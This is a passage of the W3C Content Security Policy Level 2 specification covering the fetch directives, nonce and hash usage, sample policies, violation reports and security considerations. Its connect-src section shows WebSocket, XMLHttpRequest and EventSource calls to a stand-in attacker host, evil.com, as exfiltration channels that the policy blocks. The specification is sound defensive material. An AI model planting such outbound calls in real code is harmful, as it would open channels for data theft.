In order to protect against Cross-Site Scripting (XSS), web application authors SHOULD include

  • both the script-src and object-src directives, or
  • include a default-src directive, which covers both scripts and plugins.

In either case, authors SHOULD NOT include either 'unsafe-inline' or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

3.2.5.1 base-uri

The base-uri directive restricts the URIs that can be used to specify a document's base URL. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "base-uri"
directive-value   = source-list

The term allowed base URIs refers to the result of parsing the base-uri directive's value as a source list.

Step 4 of the algorithm defined in HTML5 to obtain a document's base URL MUST be changed to:

  1. If the previous step was not successful, or the result of the previous step does not match the allowed base URIs, then the document base URL is fallback base URL. Otherwise, it is the result of the previous step.
3.2.5.2 child-src

The child-src governs the creation of nested and auxiliary browsing contexts, as well as Worker execution contexts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "child-src"
directive-value   = source-list

The term allowed child sources refers to the result of parsing the child-src directive's value as a source list if a child-src directive is explicitly specified, and otherwise to the default sources.

3.2.5.2.1 Nested Browsing Contexts

To enforce the child-src directive the user agent MUST enforce the following directives:

3.2.5.2.2 Auxiliary Browsing Contexts

Whenever the user agent fetches a URL (including when following redirects) in the course of one of the following activities, if the URL does not match the allowed child sources, the user agent MUST act as if it had received an empty HTTP 400 response and report a violation:

3.2.5.2.3 Workers

Whenever the user agent fetches a URL (including when following redirects) while processing the Worker or SharedWorker constructors [WEBWORKERS], the user agent MUST act as if it had received an empty HTTP 400 response and report a violation if the URI does not match the allowed child sources.

3.2.5.3 connect-src

The connect-src directive restricts which URIs the protected resource can load using script interfaces. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "connect-src"
directive-value   = source-list

The term allowed connection targets refers to the result of parsing the connect-src directive's value as a source list if the policy contains an explicit connect-src, or otherwise to the default sources.

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed connection targets, the user agent MUST act as if it had received an empty HTTP 400 response and report a violation:

3.2.5.3.1 Usage

This section is non-normative.

JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest makes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.

The connect-src directive allows you to ensure that these sorts of connections are only opened to origins you trust. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only example.com, send the following header:

Content-Security-Policy: connect-src example.com

All of the following will fail with the preceeding directive in place:

  • new WebSocket("wss://evil.com/");
  • (new XMLHttpRequest()).open("GET", "https://evil.com/", true);
  • new EventSource("https://evil.com");
3.2.5.4 default-src

The default-src directive sets a default source list for a number of directives. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "default-src"
directive-value   = source-list

Let the default sources be the result of parsing the default-src directive's value as a source list if a default-src directive is explicitly specified, and otherwise the U+002A ASTERISK character (*).

To enforce the default-src directive, the user agent MUST enforce the following directives:

If not specified explicitly in the policy, the directives listed above will use the default sources.

3.2.5.4.1 Usage

This section is non-normative.

default-src, as the name implies, serves as a default source list which the other source list-style directives will use as a fallback if they're not otherwise explicitly set. That is, consider the following policy declaration:

Content-Security-Policy: default-src 'self'

Under this policy, fonts, frames, images, media, objects, scripts, and styles will all only load from the same origin as the protected resource, and connections will only be made to the same origin. Adding a more specific declaration to the policy would completely override the default source list for that resource type.

Content-Security-Policy: default-src 'self'; script-src example.com

Under this new policy, fonts, frames, and etc. continue to be load from the same origin, but scripts will only load from example.com. There's no inheritance; the script-src directive sets the allowed sources of script, and the default list is not used for that resource type.

Given this behavior, one good way of building a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there that contains only those resource types which are actually in use for the page you'd like to protect. If you don't use webfonts, for instance, there's no reason to specify a source list for font-src; specifying only those resource types a page uses ensures that the possible attack surface for that page remains as small as possible.

3.2.5.5 font-src

The font-src directive restricts from where the protected resource can load fonts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "font-src"
directive-value   = source-list

The term allowed font sources refers to the result of parsing the font-src directive's value as a source list if the policy contains an explicit font-src, or otherwise to the default sources.

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed font sources, the user agent MUST act as if it had received an empty HTTP 400 response and report a violation:

  • Requesting data for display in a font, such as when processing the @font-face Cascading Style Sheets (CSS) rule.
3.2.5.6 form-action

The form-action restricts which URIs can be used as the action of HTML form elements. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "form-action"
directive-value   = source-list

The term allowed form actions refers to the result of parsing the form-action directive's value as a source list.

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed form actions, the user agent MUST act as if it had received an empty HTTP 400 response and report a violation:

  • Processing an HTML form element.

Note that form-action does not fall back to the default source list when the directive is not defined. That is, a policy that defines default-src 'none' but not form-action will still allow form submissions to any target.

3.2.5.7 frame-ancestors

The frame-ancestors directive indicates whether the user agent should allow embedding the resource using a frame, iframe, object, embed or applet tag, or equivalent functionality in non-HTML resources. Resources can use this directive to avoid many UI Redressing [UIREDRESS] attacks by avoiding being embedded into potentially hostile contexts.

The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name  = "frame-ancestors"
directive-value = source-list
        

The term allowed frame ancestors refers to the result of parsing the frame-ancestors directive's value as a source list. Note that this directive is not influenced by the default sources. If a frame-ancestors directive is not explicitly included in the policy, the allowed frame ancestors is "*".

To enforce the frame-ancestors directive, whenever the user agent would load the protected resource into a nested browsing context, the user agent MUST perform the following steps:

  1. Let nestedContext be the nested browsing context into which the protected resource is being loaded.
  2. Let ancestorList be the list of all ancestor browsing contexts of nestedContext.
  3. For each ancestorContext in ancestorList:
    1. Let document be ancestorContext's active document.
    2. If document's URL does not match the allowed frame ancestors, the user agent MUST:
      1. Abort loading the protected resource.
      2. Act as if it received an empty HTTP 200 response.
      3. Parse the sandboxing directive using the empty string as the input and the newly created document's forced sandboxing flag set as the output.

Steps 2.2 and 2.3 ensure that the blocked frame appears to be a normal cross-origin document's load. If these steps are ignored, leakage of a document's policy state is possible. The user agent MAY implement these steps by instead redirecting the user to friendly error page in a unique origin which provides the option of opening the blocked page in a new top-level browsing context.

Note that the frame-ancestors directive will be ignored when monitoring a policy, and when a contained in a policy defined via a meta element.

Note that this directive is similar to the non-standard X-Frame-Options header that several user agents have implemented. The 'none' source expression is roughly equivilant to that header's DENY, 'self' to SAMEORIGIN, and so on. The major difference is that many user agents implement SAMEORIGIN such that it only matches against the top-level document's location. This directive checks each ancestor. If any ancestor doesn't match, the load is cancelled.

When generating a violation report for a frame-ancestors violation, the user agent MUST NOT include the value of the embedding ancestor as a blocked-uri value unless it is same-origin with the protected resource, as disclosing the value of cross-origin ancestors is a violation of the Same-Origin Policy.

3.2.5.7.1 Multiple Host Source Values

This section is non-normative.

Multiple source-list espressions are allowed in a single policy (in contrast to X-Frame-Options, which allows only one) to enable scenarios involving embedded application compoments that are multiple levels below the top-level browsing context.

Many common scenarios for permissioned embedding (e.g. embeddable payment, sharing or social apps) involve potentially many hundreds or thousands of valid source-list expressions, but it is strongly recommended against accomodating such scenarios with a static frame-ancestors directive listing mulitple values. In such cases it is beneficial to generate this value dynamically, based on an HTTP Referer header or an explicitly passed-in value, to allow only the source(s) necessary for each given embedding of the resource.

Consider a service providing a payments application at https://payments/makeEmbedded. The service allows this resource to be embedded by both merchant Alice and merchant Bob, who compete with each other. Sending:

Content-Security-Policy: frame-options https://alice https://bob

would allow Bob to re-frame Alice's resource and create fradulent clicks, perhaps discrediting Alice with her customers or the payments service. If the payments service used additional information (e.g. as part of a URL like https://payments/makeEmbedded?merchant=alice) to send individually-tailored headers listing only the source-list expressions needed by each merchant, this attack would be eliminated.

3.2.5.8 frame-src

The frame-src directive is deprecated. Authors who wish to govern nested browsing contexts SHOULD use the child-src directive instead.

The frame-src directive restricts from where the protected resource can embed frames. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "frame-src"
directive-value   = source-list

The term allowed frame sources refers to the result of parsing the frame-src directive's value as a source list if the policy contains an explicit frame-src, or otherwise to the list of allowed child sources.

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed frame sources, the user agent MUST act as if it had received an empty HTTP 400 response and report a violation:

3.2.5.9 img-src

The img-src directive restricts from where the protected resource can load images. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "img-src"
directive-value   = source-list

The term allowed image sources refers to the result of parsing the img-src directive's value as a source list if the policy contains an explicit img-src, or otherwise to the default sources.

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed image sources, the user agent MUST act as if it had received an empty HTTP 400 response and report a violation:

  • Requesting data for an image, such as when processing the src or srcset attributes of an img element, the src attribute of an input element with a type of image, the poster attribute of a video element, the url(), image() or image-set() values on any Cascading Style Sheets (CSS) property that is capable of loading an image [CSS3-Images], or the href attribute of a link element with an image-related rel attribute, such as icon.
3.2.5.10 media-src

The media-src directive restricts from where the protected resource can load video, audio, and associated text tracks. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "media-src"
directive-value   = source-list

The term allowed media sources refers to the result of parsing the media-src directive's value as a source list if the policy contains an explicit media-src, or otherwise to the default sources.

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed media sources, the user agent MUST act as if it had received an empty HTTP 400 response:

  • Requesting data for a video or audio clip, such as when processing the src attribute of a video, audio, source, or track elements.
3.2.5.11 object-src

The object-src directive restricts from where the protected resource can load plugins. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "object-src"
directive-value   = source-list

The term allowed object sources refers to the result of parsing the object-src directive's value as a source list if the policy contains an explicit object-src, or otherwise to the default sources.

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed object sources, the user agent MUST act as if it had received an empty HTTP 400 response and report a violation:

  • Requesting data for a plugin, such as when processing the data attribute of an object element, the src attribute of an embed elements, or the code or archive attributes of an applet element.
  • Requesting data for display in a nested browsing context in the protected resource created by an object or an embed element.
  • Navigating such a nested browsing context.

It is not required that the consumer of the element's data be a plugin in order for the object-src directive to be enforced. Data for any object, embed, or applet element MUST match the allowed object sources in order to be fetched. This is true even when the element data is semantically equivalent to content which would otherwise be restricted by one of the other directives, such as an object element with a text/html MIME type.

Whenever the user agent would load a plugin without an associated URI (e.g., because the object element lacked a data attribute), if the protected resource's URI does not match the allowed object sources, the user agent MUST NOT load the plugin.

3.2.5.12 plugin-types

The plugin-types restricts the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "plugin-types"
directive-value   = media-type-list

The term allowed plugin media types refers to the result of parsing the plugin-types directive's value as a media type list

Whenever the user agent would instantiate a plugin to handle resource while enforcing the plugin-types directive, the user agent MUST instead act as though the plugin reported an error and report a violation if any of the following conditions hold:

  • The plugin is embedded into the protected resource via an object or embed element that does not explicitly declare a MIME type with a type attribute.
  • resource's media type does not match the list of allowed plugin media types.
  • The plugin is embedded into the protected resource via an object or embed element, and the media type declared in the element's type attribute is not a case-insensitive match for the resource's media type.
  • The plugin is embedded into the protected resource via an applet element, and resource's media type is not a case-insensitive match for application/x-java-applet.

Note that in any of these cases, acting as though the plugin reported an error will cause the user agent to display the fallback content.

Whenever the user agent creates a plugin document in a browsing context nested in the protected resource, if the user agent is enforcing any plugin-types directives for the protected resource, the user agent MUST enforce those plugin-types directives on the plugin document as well.

Whenever the user agent creates a plugin document in a browsing context nested in the protected resource, if the user agent is monitoring any plugin-types directives for the protected resource, the user agent MUST monitor those plugin-types directives on the plugin document as well.

3.2.5.12.1 Usage

This section is non-normative.

The plugin-types directive whitelists a certain set of MIME types that can be embedded in a protected resource. For example, a site might want to ensure that PDF content loads, but that no other plugins can be instantiated. The following directive would satisfy that requirement:

Content-Security-Policy: plugin-types application/pdf;

Resources embedded via an embed or object element delivered with an application/pdf content type would be rendered in the appropriate plugin; resources delivered with some other content type would be blocked. Multiple types can be specified, in any order. If the site decided to additionally allow Flash at some point in the future, it could do so with the following directive:

Content-Security-Policy: plugin-types application/pdf application/x-shockwave-flash;

Note that wildcards are not accepted in the plugin-types directive. Only the resource types explicitly listed in the directive will be allowed.

3.2.5.12.2 Predeclaration of expected media types

This section is non-normative.

Enforcing the plugin-types directive requires that object and embed elements declare the expected media type of the resource they include via the type attribute. If an author expects to load a PDF, she could specify this as follows:

<object data="resource" type="application/pdf"></object>

If resource isn't actually a PDF file, it won't load. This prevents certain types of attacks that rely on serving content that unexpectedly invokes a plugin other than that which the author intended.

Note that resource will not load in this scenario even if its media type is otherwise whitelisted: resources will only load when their media type is whitelisted and matches the declared type in their containing element.

3.2.5.13 referrer

The referrer directive specifies a referrer policy that the user agent applies when determining what refererrer information should be included with requests made, and browsing contexts created from the context of the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "referrer"
directive-value   = "never" / "default" / "origin" / "always"

Note that the directive name does not share the HTTP header's misspelling.

The term referrer policy refers to the value of the referrer directive, or to the empty string if no referrer directive is present in the protected resource's policy.

If the value of the referrer directive is invalid, the user agent SHOULD set the referrer policy to never.

Replace step 7 of the "Determine referrer" algorithm defined in Fetch with the following:

  1. If referrer is null, or if the referrer policy is never, return null.
  2. If the referrer policy is origin, return the ASCII serialization of referrer.
  3. If the referrer policy is always, return referrer. Note that this might cause HTTPS referrer information to be sent over the network as part of unencrypted HTTP requests.
  4. Return null if the scheme component of referrer represents a protocol that uses transport-layer security and the scheme component of the resource being fetched does not.
  5. Return referrer.

Note: This specification should not be interpreted as limiting user agents' ability to apply other restrictions to limit referrer leakage.

3.2.5.13.1 Processing multiple referrer policies

If a referrer policy is specified in multiple places (e.g. both a meta element and a referrer directive), resolve the conflict as follows:

  1. If all referrer policies have the same value, the protected resource's referrer policy is that value.
  2. Otherwise, the protected resource's referrer policy is never.
3.2.5.13.2 Usage

This section is non-normative.

A protected resource can prevent referrer leakage by specifying never as the value of its policy's referrer directive:

Content-Security-Policy: referrer never;

This will cause all requests made from the protected resource's context to have an empty Referer [sic] header.

3.2.5.14 reflected-xss

The reflected-xss directive instructs a user agent to active or disactivate any heuristics used to filter or block reflected cross-site scripting attacks. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "reflected-xss"
directive-value   = "allow" / "block" / "filter"

A user agent with support for XSS protection MUST enforce this directive as follows:

  • If the value of the directive is allow, the user agent MUST disable its active protections against reflected cross-site scripting attacks for the protected resource.
  • If the value of the directive is filter, the user agent MUST enable its active protections against reflected cross-site scripting attacks for the protected resource. This might result in filtering script that is believed to be reflected being filtered or selectively blocking script execution.
  • If the value of the directive is block, the user agent MUST stop rendering the protected resource upon detection of reflected script, and instead act as though it received an empty HTTP 400 response for the protected resource itself.

If the user agent's active protections against reflected cross-site scripting attacks detect or prevent script execution, the user agent MUST report a violation.

3.2.5.14.1 Relationship to X-XSS-Protection

This section is non-normative.

This directive is meant to subsume the functionality provided by the propriatary X-XSS-Protection HTTP header which is supported by a number of user agents. Roughly speaking:

  • reflected-xss allow is equivalent to X-XSS-Protection: 0
  • reflected-xss filter is equivalent to X-XSS-Protection: 1
  • reflected-xss block is equivalent to X-XSS-Protection: 1; mode=block
3.2.5.15 report-uri

The report-uri directive specifies a URI to which the user agent sends reports about policy violation. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "report-uri"
directive-value   = uri-reference *( 1*WSP uri-reference )
uri-reference     = <URI-reference from RFC 3986>

The set of report URIs is the value of the report-uri directive, each resolved relative to the protected resource's URI.

The process of sending violation reports to the URIs specified in this directive's value is defined in this document's Reporting section.

Note that the report-uri directive will be ignored if contained within a meta element.

3.2.5.16 sandbox

The sandbox directive specifies an HTML sandbox policy that the user agent applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "sandbox"
directive-value   = token *( 1*WSP token )
token             = <token from RFC 2616>

When enforcing the sandbox directive, the user agent MUST parse the sandboxing directive using the directive-value as the input and protected resource's forced sandboxing flag set as the output. [HTML5]

Note that the sandbox directive will be ignored when monitoring a policy, and when a contained in a policy defined via a meta element.

3.2.5.16.1 Usage

This section is non-normative.

HTML5 defines a sandbox attribute for iframe elements, intended to allow web authors to reduce the risk of including potentially untrusted content by imposing restrictions on that content's abilities. When the attribute is set, the content is forced into a unique origin, prevented from submitting forms, running script, creating or navigating other browsing contexts, and prevented from running plugins. These restrictions can be loosened by setting certain flags as the attribute's value.

The sandbox directive allows any resource, framed or not, to ask for the same sorts of restrictions to be applied to itself.

For example, a message board or email system might provide downloads of arbitrary attachments provided by other users. Attacks that rely on tricking a client into rendering one of these attachments could be mitigated by requesting that resources only be rendered in a very restrictive sandbox. Sending the sandbox directive with an empty value establishes such an environment:

Content-Security-Policy: sandbox

More trusted resources might be allowed to run in an environment with fewer restrictions by adding allow-* flags to the directive's value. For example, you can allow a page that you trust to run script, while ensuring that it isn't treated as same-origin with the rest of your site. This can be accomplished by sending the sandbox directive with the allow-scripts flag:

Content-Security-Policy: sandbox allow-scripts

The set of flags available to the CSP directive should match those available to the iframe attribute. Currently, those include:

  • allow-forms
  • allow-pointer-lock
  • allow-popups
  • allow-same-origin
  • allow-scripts, and
  • allow-top-navigation

Note as well that, like the rest of Content Security Policy, the sandbox directive is meant as a defense-in-depth. Web authors would be well-served to use it in addition to standard sniffing-mitigation and privilege-reduction techniques.

3.2.5.17 script-src

The script-src directive restricts which scripts the protected resource can execute. The directive also controls other resources, such as XSLT style sheets [XSLT], which can cause the user agent to execute script. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "script-src"
directive-value   = source-list

The term allowed script sources refers to the result of parsing the script-src directive's value as a source list if the policy contains an explicit script-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed script sources, or if at least one nonce-source or hash-source is present in the list of allowed script sources:

  • Whenever the user agent would execute an inline script from a script element that lacks a valid nonce and lacks a valid hash for the allowed script sources, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute an inline script from an inline event handler, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute script contained in a javascript URI, instead the user agent MUST NOT execute the script, and MUST report a violation. (The user agent SHOULD ignore this step when processing script contained in "bookmarklets").

If 'unsafe-eval' is not in allowed script sources:

  • Instead of evaluating their arguments, both operator eval and function eval [ECMA-262] MUST throw a SecurityError exception. [DOM4]
  • When called as a constructor, the function Function [ECMA-262] MUST throw a SecurityError exception. [DOM4]
  • When called with a first argument that is non-callable (e.g., not a function), the setTimeout function MUST return zero without creating a timer.
  • When called with a first argument that is non-callable (e.g., not a function), the setInterval function MUST return zero without creating a timer.

The term callable refers to an object whose interface has one or more callers as defined in the Web IDL specification [WEBIDL].

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed script sources, the user agent MUST act as if it had received an empty HTTP 400 response and report a violation:

  • Requesting a script while processing the src attribute of a script element that lacks a valid nonce for the allowed script sources.
  • Requesting a script while processing the Worker or SharedWorker constructors. [WEBWORKERS]
  • Requesting a script while invoking the importScripts method on a WorkerGlobalScope object. [WEBWORKERS]
  • Requesting an HTML component, such as when processing the href attribute of a link element with a rel attribute containing the token import. [html-imports]
  • Requesting an Extensible Stylesheet Language Transformations (XSLT) [XSLT], such as when processing the <?xml-stylesheet?> processing directive in an XML document [XML11], the href attributes on <xsl:include> element, or the href attributes on <xsl:import> element.
3.2.5.17.1 Nonce usage for script elements

This section is non-normative.

The script-src directive lets developers specify exactly which script elements on a page were intentionally included for execution. Ideally, developers would avoid inline script entirely and whitelist scripts by URL. However, in some cases, removing inline scripts can be difficult or impossible. For those cases, developers can whitelist scripts using a randomly generated nonce.

Usage is straightforward. For each request, the server generates a unique value at random, and includes it in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com 'nonce-$RANDOM'

This same value is then applied as a nonce attribute to each script element that ought to be executed. For example, if the server generated the random value Nc3n83cnSAd3wc3Sasdfn939hc3, the server would send the following policy:

Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'

Script elements can then execute either because their src URLs are whitelisted or because they have an appropriate nonce:

<script>
alert("Blocked because the policy doesn't have 'unsafe-inline'.")
</script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
alert("Still blocked because nonce is wrong.")
</script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
alert("Allowed because nonce is valid.")
</script>

<script src="https://example.com/allowed-because-of-src.js"></script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa"
        src="https://elsewhere.com/blocked-because-nonce-is-wrong.js"></script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3"
        src="https://elsewhere.com/allowed-because-nonce-is-valid.js"></script>

Note that the nonce's value is not a hash or signature that verifies the contents of the script resources. It's quite simply a random string that informs the user agent which scripts were intentionally included in the page.

Script elements with the proper nonce execute, regardless of whether they're inline or external. Script elements without the proper nonce don't execute unless their URLs are whitelisted. Even if an attacker is able to inject markup into the protected resource, the attack will be blocked by the attacker's inability to guess the random value.

3.2.5.17.2 Hash usage for script elements

This section is non-normative.

The script-src directive lets developers whitelist a particular inline script by specifying its hash as an allowed source of script.

Usage is straightforward. The server computes the hash of a particular script block's contents, and includes the base64 encoding of that value in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com 'sha256-base64 encoded hash'

Each inline script block's contents are hashed, and compared against the whitelisted value. If there's a match, the script is executed. For example, the SHA-256 digest of alert('Hello, world.'); is YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo=. If the server sent the following header:

Content-Security-Policy: script-src 'sha256-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='

Then the following script tag would result in script execution:

<script>alert('Hello, world.');</script>

Note that whitespace is significant. The following scripts blocks would not hash to the same value, and would therefore not execute:

<script> alert('Hello, world.');</script>
<script>alert('Hello, world.'); </script>
<script> alert('Hello, world.'); </script>
<script>
  alert('Hello, world.');
</script>

Note also that the hash applies only to inline script. An externalized script containing the value alert('Hello, world.'); would not execute if its origin was not whitelisted as a valid source of script.

3.2.5.18 style-src

The style-src directive restricts which styles the user applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "style-src"
directive-value   = source-list

The term allowed style sources refers to the result of parsing the style-src directive's value as a source list if the policy contains an explicit style-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed style sources, or if at least one nonce-source or hash-source is present in the list of allowed style sources:

Note: These restrictions on inline do not prevent the user agent from applying style from an external stylesheet (e.g., found via <link rel="stylesheet">).

If 'unsafe-eval' is not in allowed style sources, then:

  • Whenever the user agent would invoke the Cascading Style Sheets Object Model algorithms insert a CSS rule, parse a CSS rule, or parse a CSS declaration block, instead the user agent MUST throw a SecurityError exception and terminate the algorithm. This would include, for example, all invocations of CSSOM's various cssText setters and insertRule methods. [CSSOM] [DOM4]

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed style sources, the user agent MUST act as if it had received an empty HTTP 400 response and report a violation:

  • Requesting external style sheets, such as when processing the href attribute of a link element with a rel attribute containing the token stylesheet or when processing the @import directive in a stylesheet.

Note: The style-src directive does not restrict the use of XSLT. XSLT is restricted by the script-src directive because the security consequences of including an untrusted XSLT stylesheet are similar to those incurred by including an untrusted script.

3.2.5.18.1 Nonce usage for style elements

This section is non-normative.

See the script-src nonce usage information for detail; the application of nonces to style elements is similar enough to avoid repetition here.

3.2.5.18.2 Hash usage for style elements

This section is non-normative.

See the script-src hash usage information for detail; the application of hashes to style elements is similar enough to avoid repetition here.

3.2.6 Examples

3.2.6.1 Sample Policy Definitions

This section is non-normative.

This section provides some sample use cases and accompanying security policies.

Example 1: A server wishes to load resources only form its own origin:

Content-Security-Policy: default-src 'self'

Example 2: An auction site wishes to load images from any URI, plugin content from a list of trusted media providers (including a content distribution network), and scripts only from a server under its control hosting sanitized ECMAScript:

Content-Security-Policy: default-src 'self'; img-src *;
                         object-src media1.example.com media2.example.com *.cdn.example.com;
                         script-src trustedscripts.example.com

Example 3: Online banking site wishes to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests:

Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval'

This policy allows inline content (such as inline script elements), use of eval, and loading resources over https. Note: This policy does not provide any protection from cross-site scripting vulnerabilities.

Example 4: A website that relies on inline script elements wishes to ensure that script is only executed from its own origin, and those elements it intentionally inserted inline:

Content-Security-Policy: script-src 'self' 'nonce-$RANDOM';

The inline script elements would then only execute if they contained a matching nonce attribute:

<script nonce="$RANDOM">...</script>
3.2.6.2 Sample Violation Report

This section is non-normative.

This section contains an example violation report the user agent might sent to a server when the protected resource violations a sample policy.

In the following example, the user agent rendered a representation of the resource http://example.org/page.html with the following policy:

default-src 'self'; report-uri http://example.org/csp-report.cgi

The protected resource loaded an image from http://evil.example.com/image.png, violating the policy.

{
  "csp-report": {
    "document-uri": "http://example.org/page.html",
    "referrer": "http://evil.example.com/haxor.html",
    "blocked-uri": "http://evil.example.com/image.png",
    "violated-directive": "default-src 'self'",
    "effective-directive": "img-src",
    "original-policy": "default-src 'self'; report-uri http://example.org/csp-report.cgi"
  }
}

3.2.7 Security Considerations

3.2.7.1 Cascading Style Sheet (CSS) Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "style sheets" hosted by an otherwise trustworthy origin.

These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

3.2.7.2 Violation Reports

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that white lists https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g., idenityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URI, the violation report might contain sensitive information contained in the redirected URI, such as session identifiers or purported identities. For this reason, the user agent includes only the origin of the blocked URI.

3.2.8 Implementation Considerations

The Content-Security-Policy header is an end-to-end header. It is processed and enforced at the client and, therefore, SHOULD NOT be modified or removed by proxies or other intermediaries not in the same administrative domain as the resource.

The originating administrative domain for a resource might wish to apply a Content-Security-Policy header outside of the immediate context of an application. For example, a large organization might have many resources and applications managed by different individuals or teams but all subject to a uniform organizational standard. In such situations, a Content-Security-Policy header might be added or combined with an existing one at a network-edge security gateway device or web application firewall. To enforce multiple policies, the administrator SHOULD combine the policy into a single header. An administrator might wish to use different combination algorithms depending on his or her intended semantics.

One sensible policy combination algorithm is to start by allowing a default set of sources and then letting individual upstream resource owners expand the set of allowed sources by including additional origins. In this approach, the resultant policy is the union of all allowed origins in the input policies.

Another sensible policy combination algorithm is to intersect the given policies. This approach enforces that content comes from a certain whitelist of origins, for example, preventing developers from including third-party scripts or content in violation of organizational standards and practices. In this approach, the combination algorithm forms the combined policy by removing disallowed hosts from the policies supplied by upstream resource owners.

Interactions between the default-src and other directives SHOULD be given special consideration when combining policies. If none of the policies contains a default-src directive, adding new src directives results in a more restrictive policy. However, if one or more of the input policies contain a default-src directive, adding new src directives might result in a less restrictive policy, for example, if the more specific directive contains a more permissive set of allowed origins.

Using a more restrictive policy than the input policy authored by the resource owner might prevent the resource from rendering or operating as intended.

Note also that migration to HTTPS from HTTP may require updates to the policy in order to keep things running as before. Source expressions like http://example.com do not match HTTPS resources. For example, administrators SHOULD carefully examine existing policies before rolling out HTTP Strict Transport Security headers for an application.

3.2.9 IANA Considerations

The permanent message header field registry (see [RFC3864]) should be updated with the following registrations:

3.2.9.1 Content-Security-Policy

Header field name: Content-Security-Policy

Applicable protocol: http

Status: standard

Author/Change controller: W3C

Specification document: this specification (See Content-Security-Policy Header Field)

3.2.9.2 Content-Security-Policy-Report-Only

Header field name: Content-Security-Policy-Report-Only

Applicable protocol: http

Status: standard

Author/Change controller: W3C

Specification document: this specification (See Content-Security-Policy-Report-Only Header Field)

A. References

A.1 Normative references

[ABNF]
D. Crocker; P. Overell. Augmented BNF for Syntax Specifications: ABNF. January 2008. STD. URL: http://www.ietf.org/rfc/rfc5234.txt
[CSSOM]
Simon Pieters; Glenn Adams. CSS Object Model (CSSOM). 5 December 2013. W3C Working Draft. URL: http://www.w3.org/TR/cssom/
[DOM4]
Anne van Kesteren; Aryeh Gregor; Ms2ger; Alex Russell; Robin Berjon. W3C DOM4. 7 November 2013. W3C Working Draft. URL: http://www.w3.org/TR/dom/
[ECMA-262]
ECMAScript Language Specification, Edition 5.1. June 2011. URL: http://www.ecma-international.org/publications/standards/Ecma-262.htm
[HTML5]
Robin Berjon; Steve Faulkner; Travis Leithead; Erika Doyle Navara; Edward O'Connor; Silvia Pfeiffer. HTML5. 6 August 2013. W3C Candidate Recommendation. URL: http://www.w3.org/TR/html5/
[HTTP11]
R. Fielding et al. Hypertext Transfer Protocol - HTTP/1.1. June 1999. RFC. URL: http://www.ietf.org/rfc/rfc2616.txt
[RFC2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. March 1997. Internet RFC 2119. URL: http://www.ietf.org/rfc/rfc2119.txt
[RFC3492]
